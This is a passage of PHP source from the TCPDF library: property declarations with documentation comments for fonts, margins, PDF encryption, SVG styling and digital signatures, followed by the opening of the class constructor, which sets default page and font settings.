$cell_padding = array('T' => 0, 'R' => 0, 'B' => 0, 'L' => 0); /** * Array of cell margins ('T' => top, 'R' => right, 'B' => bottom, 'L' => left). * @since 5.9.000 (2010-10-04) * @protected */ protected $cell_margin = array('T' => 0, 'R' => 0, 'B' => 0, 'L' => 0); /** * Current horizontal position in user unit for cell positioning. * @protected */ protected $x; /** * Current vertical position in user unit for cell positioning. * @protected */ protected $y; /** * Height of last cell printed. * @protected */ protected $lasth; /** * Line width in user unit. * @protected */ protected $LineWidth; /** * Array of standard font names. * @protected */ protected $CoreFonts; /** * Array of used fonts. * @protected */ protected $fonts = array(); /** * Array of font files. * @protected */ protected $FontFiles = array(); /** * Array of encoding differences. * @protected */ protected $diffs = array(); /** * Array of used images. * @protected */ protected $images = array(); /** * Array of cached files. * @protected */ protected $cached_files = array(); /** * Array of Annotations in pages. * @protected */ protected $PageAnnots = array(); /** * Array of internal links. * @protected */ protected $links = array(); /** * Current font family. * @protected */ protected $FontFamily; /** * Current font style. * @protected */ protected $FontStyle; /** * Current font ascent (distance between font top and baseline). * @protected * @since 2.8.000 (2007-03-29) */ protected $FontAscent; /** * Current font descent (distance between font bottom and baseline). * @protected * @since 2.8.000 (2007-03-29) */ protected $FontDescent; /** * Underlining flag. * @protected */ protected $underline; /** * Overlining flag. * @protected */ protected $overline; /** * Current font info. * @protected */ protected $CurrentFont; /** * Current font size in points. * @protected */ protected $FontSizePt; /** * Current font size in user unit. * @protected */ protected $FontSize; /** * Commands for drawing color. * @protected */ protected $DrawColor; /** * Commands for filling color. * @protected */ protected $FillColor; /** * Commands for text color. * @protected */ protected $TextColor; /** * Indicates whether fill and text colors are different. * @protected */ protected $ColorFlag; /** * Automatic page breaking. * @protected */ protected $AutoPageBreak; /** * Threshold used to trigger page breaks. * @protected */ protected $PageBreakTrigger; /** * Flag set when processing page header. * @protected */ protected $InHeader = false; /** * Flag set when processing page footer. * @protected */ protected $InFooter = false; /** * Zoom display mode. * @protected */ protected $ZoomMode; /** * Layout display mode. * @protected */ protected $LayoutMode; /** * If true set the document information dictionary in Unicode. * @protected */ protected $docinfounicode = true; /** * Document title. * @protected */ protected $title = ''; /** * Document subject. * @protected */ protected $subject = ''; /** * Document author. * @protected */ protected $author = ''; /** * Document keywords. * @protected */ protected $keywords = ''; /** * Document creator. * @protected */ protected $creator = ''; /** * Starting page number. * @protected */ protected $starting_page_number = 1; /** * String alias for total number of pages. * @protected */ protected $alias_tot_pages = '{:ptp:}'; /** * String alias for page number. * @protected */ protected $alias_num_page = '{:pnp:}'; /** * String alias for total number of pages in a single group. * @protected */ protected $alias_group_tot_pages = '{:ptg:}'; /** * String alias for group page number. * @protected */ protected $alias_group_num_page = '{:png:}'; /** * String alias for right shift compensation used to correctly align page numbers on the right. * @protected */ protected $alias_right_shift = '{rsc:'; /** * The right-bottom (or left-bottom for RTL) corner X coordinate of last inserted image. * @since 2002-07-31 * @author Nicola Asuni * @protected */ protected $img_rb_x; /** * The right-bottom corner Y coordinate of last inserted image. * @since 2002-07-31 * @author Nicola Asuni * @protected */ protected $img_rb_y; /** * Adjusting factor to convert pixels to user units. * @since 2004-06-14 * @author Nicola Asuni * @protected */ protected $imgscale = 1; /** * Boolean flag set to true when the input text is unicode (require unicode fonts). * @since 2005-01-02 * @author Nicola Asuni * @protected */ protected $isunicode = false; /** * Object containing unicode data. * @since 5.9.004 (2010-10-18) * @author Nicola Asuni * @protected */ protected $unicode; /** * Object containing font encoding maps. * @since 5.9.123 (2011-10-01) * @author Nicola Asuni * @protected */ protected $encmaps; /** * PDF version. * @since 1.5.3 * @protected */ protected $PDFVersion = '1.7'; /** * ID of the stored default header template (-1 = not set). * @protected */ protected $header_xobjid = -1; /** * If true reset the Header Xobject template at each page * @protected */ protected $header_xobj_autoreset = false; /** * Minimum distance between header and top page margin. * @protected */ protected $header_margin; /** * Minimum distance between footer and bottom page margin. * @protected */ protected $footer_margin; /** * Original left margin value. * @protected * @since 1.53.0.TC013 */ protected $original_lMargin; /** * Original right margin value. * @protected * @since 1.53.0.TC013 */ protected $original_rMargin; /** * Default font used on page header. * @protected */ protected $header_font; /** * Default font used on page footer. * @protected */ protected $footer_font; /** * Language templates. * @protected */ protected $l; /** * Barcode to print on page footer (only if set). * @protected */ protected $barcode = false; /** * Boolean flag to print/hide page header. * @protected */ protected $print_header = true; /** * Boolean flag to print/hide page footer. * @protected */ protected $print_footer = true; /** * Header image logo. * @protected */ protected $header_logo = ''; /** * Width of header image logo in user units. * @protected */ protected $header_logo_width = 30; /** * Title to be printed on default page header. * @protected */ protected $header_title = ''; /** * String to pring on page header after title. * @protected */ protected $header_string = ''; /** * Color for header text (RGB array). * @since 5.9.174 (2012-07-25) * @protected */ protected $header_text_color = array(0,0,0); /** * Color for header line (RGB array). * @since 5.9.174 (2012-07-25) * @protected */ protected $header_line_color = array(0,0,0); /** * Color for footer text (RGB array). * @since 5.9.174 (2012-07-25) * @protected */ protected $footer_text_color = array(0,0,0); /** * Color for footer line (RGB array). * @since 5.9.174 (2012-07-25) * @protected */ protected $footer_line_color = array(0,0,0); /** * Text shadow data array. * @since 5.9.174 (2012-07-25) * @protected */ protected $txtshadow = array('enabled'=>false, 'depth_w'=>0, 'depth_h'=>0, 'color'=>false, 'opacity'=>1, 'blend_mode'=>'Normal'); /** * Default number of columns for html table. * @protected */ protected $default_table_columns = 4; // variables for html parser /** * HTML PARSER: array to store current link and rendering styles. * @protected */ protected $HREF = array(); /** * List of available fonts on filesystem. * @protected */ protected $fontlist = array(); /** * Current foreground color. * @protected */ protected $fgcolor; /** * HTML PARSER: array of boolean values, true in case of ordered list (OL), false otherwise. * @protected */ protected $listordered = array(); /** * HTML PARSER: array count list items on nested lists. * @protected */ protected $listcount = array(); /** * HTML PARSER: current list nesting level. * @protected */ protected $listnum = 0; /** * HTML PARSER: indent amount for lists. * @protected */ protected $listindent = 0; /** * HTML PARSER: current list indententation level. * @protected */ protected $listindentlevel = 0; /** * Current background color. * @protected */ protected $bgcolor; /** * Temporary font size in points. * @protected */ protected $tempfontsize = 10; /** * Spacer string for LI tags. * @protected */ protected $lispacer = ''; /** * Default encoding. * @protected * @since 1.53.0.TC010 */ protected $encoding = 'UTF-8'; /** * PHP internal encoding. * @protected * @since 1.53.0.TC016 */ protected $internal_encoding; /** * Boolean flag to indicate if the document language is Right-To-Left. * @protected * @since 2.0.000 */ protected $rtl = false; /** * Boolean flag used to force RTL or LTR string direction. * @protected * @since 2.0.000 */ protected $tmprtl = false; // --- Variables used for document encryption: /** * IBoolean flag indicating whether document is protected. * @protected * @since 2.0.000 (2008-01-02) */ protected $encrypted; /** * Array containing encryption settings. * @protected * @since 5.0.005 (2010-05-11) */ protected $encryptdata = array(); /** * Last RC4 key encrypted (cached for optimisation). * @protected * @since 2.0.000 (2008-01-02) */ protected $last_enc_key; /** * Last RC4 computed key. * @protected * @since 2.0.000 (2008-01-02) */ protected $last_enc_key_c; /** * Encryption padding string. * @protected */ protected $enc_padding = "\x28\xBF\x4E\x5E\x4E\x75\x8A\x41\x64\x00\x4E\x56\xFF\xFA\x01\x08\x2E\x2E\x00\xB6\xD0\x68\x3E\x80\x2F\x0C\xA9\xFE\x64\x53\x69\x7A"; /** * File ID (used on document trailer). * @protected * @since 5.0.005 (2010-05-12) */ protected $file_id; // --- bookmark --- /** * Outlines for bookmark. * @protected * @since 2.1.002 (2008-02-12) */ protected $outlines = array(); /** * Outline root for bookmark. * @protected * @since 2.1.002 (2008-02-12) */ protected $OutlineRoot; // --- javascript and form --- /** * Javascript code. * @protected * @since 2.1.002 (2008-02-12) */ protected $javascript = ''; /** * Javascript counter. * @protected * @since 2.1.002 (2008-02-12) */ protected $n_js; /** * line trough state * @protected * @since 2.8.000 (2008-03-19) */ protected $linethrough; /** * Array with additional document-wide usage rights for the document. * @protected * @since 5.8.014 (2010-08-23) */ protected $ur = array(); /** * DPI (Dot Per Inch) Document Resolution (do not change). * @protected * @since 3.0.000 (2008-03-27) */ protected $dpi = 72; /** * Array of page numbers were a new page group was started (the page numbers are the keys of the array). * @protected * @since 3.0.000 (2008-03-27) */ protected $newpagegroup = array(); /** * Array that contains the number of pages in each page group. * @protected * @since 3.0.000 (2008-03-27) */ protected $pagegroups = array(); /** * Current page group number. * @protected * @since 3.0.000 (2008-03-27) */ protected $currpagegroup = 0; /** * Array of transparency objects and parameters. * @protected * @since 3.0.000 (2008-03-27) */ protected $extgstates; /** * Set the default JPEG compression quality (1-100). * @protected * @since 3.0.000 (2008-03-27) */ protected $jpeg_quality; /** * Default cell height ratio. * @protected * @since 3.0.014 (2008-05-23) */ protected $cell_height_ratio = K_CELL_HEIGHT_RATIO; /** * PDF viewer preferences. * @protected * @since 3.1.000 (2008-06-09) */ protected $viewer_preferences; /** * A name object specifying how the document should be displayed when opened. * @protected * @since 3.1.000 (2008-06-09) */ protected $PageMode; /** * Array for storing gradient information. * @protected * @since 3.1.000 (2008-06-09) */ protected $gradients = array(); /** * Array used to store positions inside the pages buffer (keys are the page numbers). * @protected * @since 3.2.000 (2008-06-26) */ protected $intmrk = array(); /** * Array used to store positions inside the pages buffer (keys are the page numbers). * @protected * @since 5.7.000 (2010-08-03) */ protected $bordermrk = array(); /** * Array used to store page positions to track empty pages (keys are the page numbers). * @protected * @since 5.8.007 (2010-08-18) */ protected $emptypagemrk = array(); /** * Array used to store content positions inside the pages buffer (keys are the page numbers). * @protected * @since 4.6.021 (2009-07-20) */ protected $cntmrk = array(); /** * Array used to store footer positions of each page. * @protected * @since 3.2.000 (2008-07-01) */ protected $footerpos = array(); /** * Array used to store footer length of each page. * @protected * @since 4.0.014 (2008-07-29) */ protected $footerlen = array(); /** * Boolean flag to indicate if a new line is created. * @protected * @since 3.2.000 (2008-07-01) */ protected $newline = true; /** * End position of the latest inserted line. * @protected * @since 3.2.000 (2008-07-01) */ protected $endlinex = 0; /** * PDF string for width value of the last line. * @protected * @since 4.0.006 (2008-07-16) */ protected $linestyleWidth = ''; /** * PDF string for CAP value of the last line. * @protected * @since 4.0.006 (2008-07-16) */ protected $linestyleCap = '0 J'; /** * PDF string for join value of the last line. * @protected * @since 4.0.006 (2008-07-16) */ protected $linestyleJoin = '0 j'; /** * PDF string for dash value of the last line. * @protected * @since 4.0.006 (2008-07-16) */ protected $linestyleDash = '[] 0 d'; /** * Boolean flag to indicate if marked-content sequence is open. * @protected * @since 4.0.013 (2008-07-28) */ protected $openMarkedContent = false; /** * Count the latest inserted vertical spaces on HTML. * @protected * @since 4.0.021 (2008-08-24) */ protected $htmlvspace = 0; /** * Array of Spot colors. * @protected * @since 4.0.024 (2008-09-12) */ protected $spot_colors = array(); /** * Symbol used for HTML unordered list items. * @protected * @since 4.0.028 (2008-09-26) */ protected $lisymbol = ''; /** * String used to mark the beginning and end of EPS image blocks. * @protected * @since 4.1.000 (2008-10-18) */ protected $epsmarker = 'x#!#EPS#!#x'; /** * Array of transformation matrix. * @protected * @since 4.2.000 (2008-10-29) */ protected $transfmatrix = array(); /** * Current key for transformation matrix. * @protected * @since 4.8.005 (2009-09-17) */ protected $transfmatrix_key = 0; /** * Booklet mode for double-sided pages. * @protected * @since 4.2.000 (2008-10-29) */ protected $booklet = false; /** * Epsilon value used for float calculations. * @protected * @since 4.2.000 (2008-10-29) */ protected $feps = 0.005; /** * Array used for custom vertical spaces for HTML tags. * @protected * @since 4.2.001 (2008-10-30) */ protected $tagvspaces = array(); /** * HTML PARSER: custom indent amount for lists. Negative value means disabled. * @protected * @since 4.2.007 (2008-11-12) */ protected $customlistindent = -1; /** * Boolean flag to indicate if the border of the cell sides that cross the page should be removed. * @protected * @since 4.2.010 (2008-11-14) */ protected $opencell = true; /** * Array of files to embedd. * @protected * @since 4.4.000 (2008-12-07) */ protected $embeddedfiles = array(); /** * Boolean flag to indicate if we are inside a PRE tag. * @protected * @since 4.4.001 (2008-12-08) */ protected $premode = false; /** * Array used to store positions of graphics transformation blocks inside the page buffer. * keys are the page numbers * @protected * @since 4.4.002 (2008-12-09) */ protected $transfmrk = array(); /** * Default color for html links. * @protected * @since 4.4.003 (2008-12-09) */ protected $htmlLinkColorArray = array(0, 0, 255); /** * Default font style to add to html links. * @protected * @since 4.4.003 (2008-12-09) */ protected $htmlLinkFontStyle = 'U'; /** * Counts the number of pages. * @protected * @since 4.5.000 (2008-12-31) */ protected $numpages = 0; /** * Array containing page lengths in bytes. * @protected * @since 4.5.000 (2008-12-31) */ protected $pagelen = array(); /** * Counts the number of pages. * @protected * @since 4.5.000 (2008-12-31) */ protected $numimages = 0; /** * Store the image keys. * @protected * @since 4.5.000 (2008-12-31) */ protected $imagekeys = array(); /** * Length of the buffer in bytes. * @protected * @since 4.5.000 (2008-12-31) */ protected $bufferlen = 0; /** * If true enables disk caching. * @protected * @since 4.5.000 (2008-12-31) */ protected $diskcache = false; /** * Counts the number of fonts. * @protected * @since 4.5.000 (2009-01-02) */ protected $numfonts = 0; /** * Store the font keys. * @protected * @since 4.5.000 (2009-01-02) */ protected $fontkeys = array(); /** * Store the font object IDs. * @protected * @since 4.8.001 (2009-09-09) */ protected $font_obj_ids = array(); /** * Store the fage status (true when opened, false when closed). * @protected * @since 4.5.000 (2009-01-02) */ protected $pageopen = array(); /** * Default monospace font. * @protected * @since 4.5.025 (2009-03-10) */ protected $default_monospaced_font = 'courier'; /** * Cloned copy of the current class object. * @protected * @since 4.5.029 (2009-03-19) */ protected $objcopy; /** * Array used to store the lengths of cache files. * @protected * @since 4.5.029 (2009-03-19) */ protected $cache_file_length = array(); /** * Table header content to be repeated on each new page. * @protected * @since 4.5.030 (2009-03-20) */ protected $thead = ''; /** * Margins used for table header. * @protected * @since 4.5.030 (2009-03-20) */ protected $theadMargins = array(); /** * Cache array for UTF8StringToArray() method. * @protected * @since 4.5.037 (2009-04-07) */ protected $cache_UTF8StringToArray = array(); /** * Maximum size of cache array used for UTF8StringToArray() method. * @protected * @since 4.5.037 (2009-04-07) */ protected $cache_maxsize_UTF8StringToArray = 8; /** * Current size of cache array used for UTF8StringToArray() method. * @protected * @since 4.5.037 (2009-04-07) */ protected $cache_size_UTF8StringToArray = 0; /** * Boolean flag to enable document digital signature. * @protected * @since 4.6.005 (2009-04-24) */ protected $sign = false; /** * Digital signature data. * @protected * @since 4.6.005 (2009-04-24) */ protected $signature_data = array(); /** * Digital signature max length. * @protected * @since 4.6.005 (2009-04-24) */ protected $signature_max_length = 11742; /** * Data for digital signature appearance. * @protected * @since 5.3.011 (2010-06-16) */ protected $signature_appearance = array('page' => 1, 'rect' => '0 0 0 0'); /** * Array of empty digital signature appearances. * @protected * @since 5.9.101 (2011-07-06) */ protected $empty_signature_appearance = array(); /** * Regular expression used to find blank characters (required for word-wrapping). * @protected * @since 4.6.006 (2009-04-28) */ protected $re_spaces = '/[^\S\xa0]/'; /** * Array of $re_spaces parts. * @protected * @since 5.5.011 (2010-07-09) */ protected $re_space = array('p' => '[^\S\xa0]', 'm' => ''); /** * Digital signature object ID. * @protected * @since 4.6.022 (2009-06-23) */ protected $sig_obj_id = 0; /** * ByteRange placemark used during digital signature process. * @protected * @since 4.6.028 (2009-08-25) */ protected $byterange_string = '/ByteRange[0 ********** ********** **********]'; /** * Placemark used during digital signature process. * @protected * @since 4.6.028 (2009-08-25) */ protected $sig_annot_ref = '***SIGANNREF*** 0 R'; /** * ID of page objects. * @protected * @since 4.7.000 (2009-08-29) */ protected $page_obj_id = array(); /** * List of form annotations IDs. * @protected * @since 4.8.000 (2009-09-07) */ protected $form_obj_id = array(); /** * Deafult Javascript field properties. Possible values are described on official Javascript for Acrobat API reference. Annotation options can be directly specified using the 'aopt' entry. * @protected * @since 4.8.000 (2009-09-07) */ protected $default_form_prop = array('lineWidth'=>1, 'borderStyle'=>'solid', 'fillColor'=>array(255, 255, 255), 'strokeColor'=>array(128, 128, 128)); /** * Javascript objects array. * @protected * @since 4.8.000 (2009-09-07) */ protected $js_objects = array(); /** * Current form action (used during XHTML rendering). * @protected * @since 4.8.000 (2009-09-07) */ protected $form_action = ''; /** * Current form encryption type (used during XHTML rendering). * @protected * @since 4.8.000 (2009-09-07) */ protected $form_enctype = 'application/x-www-form-urlencoded'; /** * Current method to submit forms. * @protected * @since 4.8.000 (2009-09-07) */ protected $form_mode = 'post'; /** * List of fonts used on form fields (fontname => fontkey). * @protected * @since 4.8.001 (2009-09-09) */ protected $annotation_fonts = array(); /** * List of radio buttons parent objects. * @protected * @since 4.8.001 (2009-09-09) */ protected $radiobutton_groups = array(); /** * List of radio group objects IDs. * @protected * @since 4.8.001 (2009-09-09) */ protected $radio_groups = array(); /** * Text indentation value (used for text-indent CSS attribute). * @protected * @since 4.8.006 (2009-09-23) */ protected $textindent = 0; /** * Store page number when startTransaction() is called. * @protected * @since 4.8.006 (2009-09-23) */ protected $start_transaction_page = 0; /** * Store Y position when startTransaction() is called. * @protected * @since 4.9.001 (2010-03-28) */ protected $start_transaction_y = 0; /** * True when we are printing the thead section on a new page. * @protected * @since 4.8.027 (2010-01-25) */ protected $inthead = false; /** * Array of column measures (width, space, starting Y position). * @protected * @since 4.9.001 (2010-03-28) */ protected $columns = array(); /** * Number of colums. * @protected * @since 4.9.001 (2010-03-28) */ protected $num_columns = 1; /** * Current column number. * @protected * @since 4.9.001 (2010-03-28) */ protected $current_column = 0; /** * Starting page for columns. * @protected * @since 4.9.001 (2010-03-28) */ protected $column_start_page = 0; /** * Maximum page and column selected. * @protected * @since 5.8.000 (2010-08-11) */ protected $maxselcol = array('page' => 0, 'column' => 0); /** * Array of: X difference between table cell x start and starting page margin, cellspacing, cellpadding. * @protected * @since 5.8.000 (2010-08-11) */ protected $colxshift = array('x' => 0, 's' => array('H' => 0, 'V' => 0), 'p' => array('L' => 0, 'T' => 0, 'R' => 0, 'B' => 0)); /** * Text rendering mode: 0 = Fill text; 1 = Stroke text; 2 = Fill, then stroke text; 3 = Neither fill nor stroke text (invisible); 4 = Fill text and add to path for clipping; 5 = Stroke text and add to path for clipping; 6 = Fill, then stroke text and add to path for clipping; 7 = Add text to path for clipping. * @protected * @since 4.9.008 (2010-04-03) */ protected $textrendermode = 0; /** * Text stroke width in doc units. * @protected * @since 4.9.008 (2010-04-03) */ protected $textstrokewidth = 0; /** * Current stroke color. * @protected * @since 4.9.008 (2010-04-03) */ protected $strokecolor; /** * Default unit of measure for document. * @protected * @since 5.0.000 (2010-04-22) */ protected $pdfunit = 'mm'; /** * Boolean flag true when we are on TOC (Table Of Content) page. * @protected */ protected $tocpage = false; /** * Boolean flag: if true convert vector images (SVG, EPS) to raster image using GD or ImageMagick library. * @protected * @since 5.0.000 (2010-04-26) */ protected $rasterize_vector_images = false; /** * Boolean flag: if true enables font subsetting by default. * @protected * @since 5.3.002 (2010-06-07) */ protected $font_subsetting = true; /** * Array of default graphic settings. * @protected * @since 5.5.008 (2010-07-02) */ protected $default_graphic_vars = array(); /** * Array of XObjects. * @protected * @since 5.8.014 (2010-08-23) */ protected $xobjects = array(); /** * Boolean value true when we are inside an XObject. * @protected * @since 5.8.017 (2010-08-24) */ protected $inxobj = false; /** * Current XObject ID. * @protected * @since 5.8.017 (2010-08-24) */ protected $xobjid = ''; /** * Percentage of character stretching. * @protected * @since 5.9.000 (2010-09-29) */ protected $font_stretching = 100; /** * Increases or decreases the space between characters in a text by the specified amount (tracking). * @protected * @since 5.9.000 (2010-09-29) */ protected $font_spacing = 0; /** * Array of no-write regions. * ('page' => page number or empy for current page, 'xt' => X top, 'yt' => Y top, 'xb' => X bottom, 'yb' => Y bottom, 'side' => page side 'L' = left or 'R' = right) * @protected * @since 5.9.003 (2010-10-14) */ protected $page_regions = array(); /** * Boolean value true when page region check is active. * @protected */ protected $check_page_regions = true; /** * Array containing HTML color names and values. * @protected * @since 5.9.004 (2010-10-18) */ protected $webcolor = array(); /** * Array containing spot color names and values. * @protected * @since 5.9.012 (2010-11-11) */ protected $spotcolor = array(); /** * Array of PDF layers data. * @protected * @since 5.9.102 (2011-07-13) */ protected $pdflayers = array(); /** * A dictionary of names and corresponding destinations (Dests key on document Catalog). * @protected * @since 5.9.097 (2011-06-23) */ protected $dests = array(); /** * Object ID for Named Destinations * @protected * @since 5.9.097 (2011-06-23) */ protected $n_dests; /** * Embedded Files Names * @protected * @since 5.9.204 (2013-01-23) */ protected $efnames = array(); /** * Directory used for the last SVG image. * @protected * @since 5.0.000 (2010-05-05) */ protected $svgdir = ''; /** * Deafult unit of measure for SVG. * @protected * @since 5.0.000 (2010-05-02) */ protected $svgunit = 'px'; /** * Array of SVG gradients. * @protected * @since 5.0.000 (2010-05-02) */ protected $svggradients = array(); /** * ID of last SVG gradient. * @protected * @since 5.0.000 (2010-05-02) */ protected $svggradientid = 0; /** * Boolean value true when in SVG defs group. * @protected * @since 5.0.000 (2010-05-02) */ protected $svgdefsmode = false; /** * Array of SVG defs. * @protected * @since 5.0.000 (2010-05-02) */ protected $svgdefs = array(); /** * Boolean value true when in SVG clipPath tag. * @protected * @since 5.0.000 (2010-04-26) */ protected $svgclipmode = false; /** * Array of SVG clipPath commands. * @protected * @since 5.0.000 (2010-05-02) */ protected $svgclippaths = array(); /** * Array of SVG clipPath tranformation matrix. * @protected * @since 5.8.022 (2010-08-31) */ protected $svgcliptm = array(); /** * ID of last SVG clipPath. * @protected * @since 5.0.000 (2010-05-02) */ protected $svgclipid = 0; /** * SVG text. * @protected * @since 5.0.000 (2010-05-02) */ protected $svgtext = ''; /** * SVG text properties. * @protected * @since 5.8.013 (2010-08-23) */ protected $svgtextmode = array(); /** * Array of hinheritable SVG properties. * @protected * @since 5.0.000 (2010-05-02) */ protected $svginheritprop = array('clip-rule', 'color', 'color-interpolation', 'color-interpolation-filters', 'color-profile', 'color-rendering', 'cursor', 'direction', 'fill', 'fill-opacity', 'fill-rule', 'font', 'font-family', 'font-size', 'font-size-adjust', 'font-stretch', 'font-style', 'font-variant', 'font-weight', 'glyph-orientation-horizontal', 'glyph-orientation-vertical', 'image-rendering', 'kerning', 'letter-spacing', 'marker', 'marker-end', 'marker-mid', 'marker-start', 'pointer-events', 'shape-rendering', 'stroke', 'stroke-dasharray', 'stroke-dashoffset', 'stroke-linecap', 'stroke-linejoin', 'stroke-miterlimit', 'stroke-opacity', 'stroke-width', 'text-anchor', 'text-rendering', 'visibility', 'word-spacing', 'writing-mode'); /** * Array of SVG properties. * @protected * @since 5.0.000 (2010-05-02) */ protected $svgstyles = array(array( 'alignment-baseline' => 'auto', 'baseline-shift' => 'baseline', 'clip' => 'auto', 'clip-path' => 'none', 'clip-rule' => 'nonzero', 'color' => 'black', 'color-interpolation' => 'sRGB', 'color-interpolation-filters' => 'linearRGB', 'color-profile' => 'auto', 'color-rendering' => 'auto', 'cursor' => 'auto', 'direction' => 'ltr', 'display' => 'inline', 'dominant-baseline' => 'auto', 'enable-background' => 'accumulate', 'fill' => 'black', 'fill-opacity' => 1, 'fill-rule' => 'nonzero', 'filter' => 'none', 'flood-color' => 'black', 'flood-opacity' => 1, 'font' => '', 'font-family' => 'helvetica', 'font-size' => 'medium', 'font-size-adjust' => 'none', 'font-stretch' => 'normal', 'font-style' => 'normal', 'font-variant' => 'normal', 'font-weight' => 'normal', 'glyph-orientation-horizontal' => '0deg', 'glyph-orientation-vertical' => 'auto', 'image-rendering' => 'auto', 'kerning' => 'auto', 'letter-spacing' => 'normal', 'lighting-color' => 'white', 'marker' => '', 'marker-end' => 'none', 'marker-mid' => 'none', 'marker-start' => 'none', 'mask' => 'none', 'opacity' => 1, 'overflow' => 'auto', 'pointer-events' => 'visiblePainted', 'shape-rendering' => 'auto', 'stop-color' => 'black', 'stop-opacity' => 1, 'stroke' => 'none', 'stroke-dasharray' => 'none', 'stroke-dashoffset' => 0, 'stroke-linecap' => 'butt', 'stroke-linejoin' => 'miter', 'stroke-miterlimit' => 4, 'stroke-opacity' => 1, 'stroke-width' => 1, 'text-anchor' => 'start', 'text-decoration' => 'none', 'text-rendering' => 'auto', 'unicode-bidi' => 'normal', 'visibility' => 'visible', 'word-spacing' => 'normal', 'writing-mode' => 'lr-tb', 'text-color' => 'black', 'transfmatrix' => array(1, 0, 0, 1, 0, 0) )); /** * If true force sRGB color profile for all document. * @protected * @since 5.9.121 (2011-09-28) */ protected $force_srgb = false; /** * If true set the document to PDF/A mode. * @protected * @since 5.9.121 (2011-09-27) */ protected $pdfa_mode = false; /** * Document creation date-time * @protected * @since 5.9.152 (2012-03-22) */ protected $doc_creation_timestamp; /** * Document modification date-time * @protected * @since 5.9.152 (2012-03-22) */ protected $doc_modification_timestamp; /** * Custom XMP data. * @protected * @since 5.9.128 (2011-10-06) */ protected $custom_xmp = ''; /** * Overprint mode array. * (Check the "Entries in a Graphics State Parameter Dictionary" on PDF 32000-1:2008). * @protected * @since 5.9.152 (2012-03-23) */ protected $overprint = array('OP' => false, 'op' => false, 'OPM' => 0); /** * Alpha mode array. * (Check the "Entries in a Graphics State Parameter Dictionary" on PDF 32000-1:2008). * @protected * @since 5.9.152 (2012-03-23) */ protected $alpha = array('CA' => 1, 'ca' => 1, 'BM' => '/Normal', 'AIS' => false); /** * Define the page boundaries boxes to be set on document. * @protected * @since 5.9.152 (2012-03-23) */ protected $page_boxes = array('MediaBox', 'CropBox', 'BleedBox', 'TrimBox', 'ArtBox'); /** * Set the document producer metadata. * @protected * @since 5.9.152 (2012-03-23) */ protected $pdfproducer; /** * If true print TCPDF meta link. * @protected * @since 5.9.152 (2012-03-23) */ protected $tcpdflink = true; /** * Cache array for computed GD gamma values. * @protected * @since 5.9.1632 (2012-06-05) */ protected $gdgammacache = array(); //------------------------------------------------------------ // METHODS //------------------------------------------------------------ /** * This is the class constructor. * It allows to set up the page format, the orientation and the measure unit used in all the methods (except for the font sizes). * @param $orientation (string) page orientation. Possible values are (case insensitive):<ul><li>P or Portrait (default)</li><li>L or Landscape</li><li>'' (empty string) for automatic orientation</li></ul> * @param $unit (string) User measure unit. Possible values are:<ul><li>pt: point</li><li>mm: millimeter (default)</li><li>cm: centimeter</li><li>in: inch</li></ul><br />A point equals 1/72 of inch, that is to say about 0.35 mm (an inch being 2.54 cm). This is a very common unit in typography; font sizes are expressed in that unit. * @param $format (mixed) The format used for pages. It can be either: one of the string values specified at getPageSizeFromFormat() or an array of parameters specified at setPageFormat(). * @param $unicode (boolean) TRUE means that the input text is unicode (default = true) * @param $encoding (string) Charset encoding; default is UTF-8. * @param $diskcache (boolean) If TRUE reduce the RAM memory usage by caching temporary data on filesystem (slower). * @param $pdfa (boolean) If TRUE set the document to PDF/A mode. * @public * @see getPageSizeFromFormat(), setPageFormat() */ public function __construct($orientation='P', $unit='mm', $format='A4', $unicode=true, $encoding='UTF-8', $diskcache=false, $pdfa=false) { /* Set internal character encoding to ASCII */ if (function_exists('mb_internal_encoding') AND mb_internal_encoding()) { $this->internal_encoding = mb_internal_encoding(); mb_internal_encoding('ASCII'); } // get array of HTML colors require(dirname(__FILE__).'/htmlcolors.php'); $this->webcolor = $webcolor; // get array of custom spot colors if (file_exists(dirname(__FILE__).'/spotcolors.php')) { require(dirname(__FILE__).'/spotcolors.php'); $this->spotcolor = $spotcolor; } else { $this->spotcolor = array(); } require_once(dirname(__FILE__).'/unicode_data.php'); $this->unicode = new TCPDF_UNICODE_DATA(); require_once(dirname(__FILE__).'/encodings_maps.php'); $this->encmaps = new TCPDF_ENCODING_MAPS(); $this->font_obj_ids = array(); $this->page_obj_id = array(); $this->form_obj_id = array(); // set pdf/a mode $this->pdfa_mode = $pdfa; $this->force_srgb = false; // set disk caching $this->diskcache = $diskcache ? true : false; // set language direction $this->rtl = false; $this->tmprtl = false; // some checks $this->_dochecks(); // initialization of properties $this->isunicode = $unicode; $this->page = 0; $this->transfmrk[0] = array(); $this->pagedim = array(); $this->n = 2; $this->buffer = ''; $this->pages = array(); $this->state = 0; $this->fonts = array(); $this->FontFiles = array(); $this->diffs = array(); $this->images = array(); $this->links = array(); $this->gradients = array(); $this->InFooter = false; $this->lasth = 0; $this->FontFamily = defined('PDF_FONT_NAME_MAIN')?PDF_FONT_NAME_MAIN:'helvetica'; $this->FontStyle = ''; $this->FontSizePt = 12; $this->underline = false; $this->overline = false; $this->linethrough = false; $this->DrawColor = '0 G'; $this->FillColor = '0 g'; $this->TextColor = '0 g'; $this->ColorFlag = false; $this->pdflayers = array(); // encryption values $this->encrypted = false; $this->last_enc_key = ''; // standard Unicode fonts $this->CoreFonts = array( 'courier'=>'Courier', 'courierB'=>'Courier-Bold', 'courierI'=>'Courier-Oblique', 'courierBI'=>'Courier-BoldOblique', 'helvetica'=>'Helvetica', 'helveticaB'=>'Helvetica-Bold', 'helveticaI'=>'Helvetica-Oblique', 'helveticaBI'=>'Helvetica-BoldOblique', 'times'=>'Times-Roman', 'timesB'=>'Times-Bold', 'timesI'=>'Times-Italic', 'timesBI'=>'Times-BoldItalic', 'symbol'=>'Symbol', 'zapfdingbats'=>'ZapfDingbats' ); // set scale factor $this->setPageUnit($unit); // set page format and orientation $this->setPageFormat($format, $orientation); // page margins (1 cm) $margin = 28.35 / $this->k; $this->SetMargins($margin, $margin); $this->clMargin = $this->lMargin; $this->crMargin = $this->rMargin; // internal cell padding $cpadding = $margin / 10; $this->setCellPaddings($cpadding, 0, $cpadding, 0); // cell margins $this->setCellMargins(0, 0, 0, 0); // line width (0.2 mm) $this->LineWidth = 0.57 / $this->k; $this->linestyleWidth = sprintf('%F w', ($this->LineWidth * $this->k)); $this->linestyleCap = '0 J'; $this->linestyleJoin = '0 j'; $this->linestyleDash = '[] 0 d'; // automatic page break $this->SetAutoPageBreak(true, (2 * $margin)); // full width display mode $this->SetDisplayMode('fullwidth'); // compression $this->SetCompression(); // set default PDF version number $this->setPDFVersion(); 